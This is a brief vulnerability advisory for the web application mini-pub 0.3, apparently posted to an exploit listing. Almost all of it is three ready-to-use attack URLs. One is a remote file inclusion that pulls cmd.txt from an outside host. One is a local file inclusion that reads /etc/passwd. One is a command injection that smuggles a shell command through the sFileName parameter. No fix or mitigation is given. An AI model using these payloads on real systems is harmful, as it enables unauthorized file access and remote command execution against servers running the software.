mini-pub 0.3 multiple vulnerabilities

download http://sourceforge.net/projects/mini-pub/ 

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploits
1. remote file inclusion
http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 

2. local file inclusion
http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd 

3. command execution
http://localhost/mini-pub.php/front-end/cat.php?sFileName=a%3Benv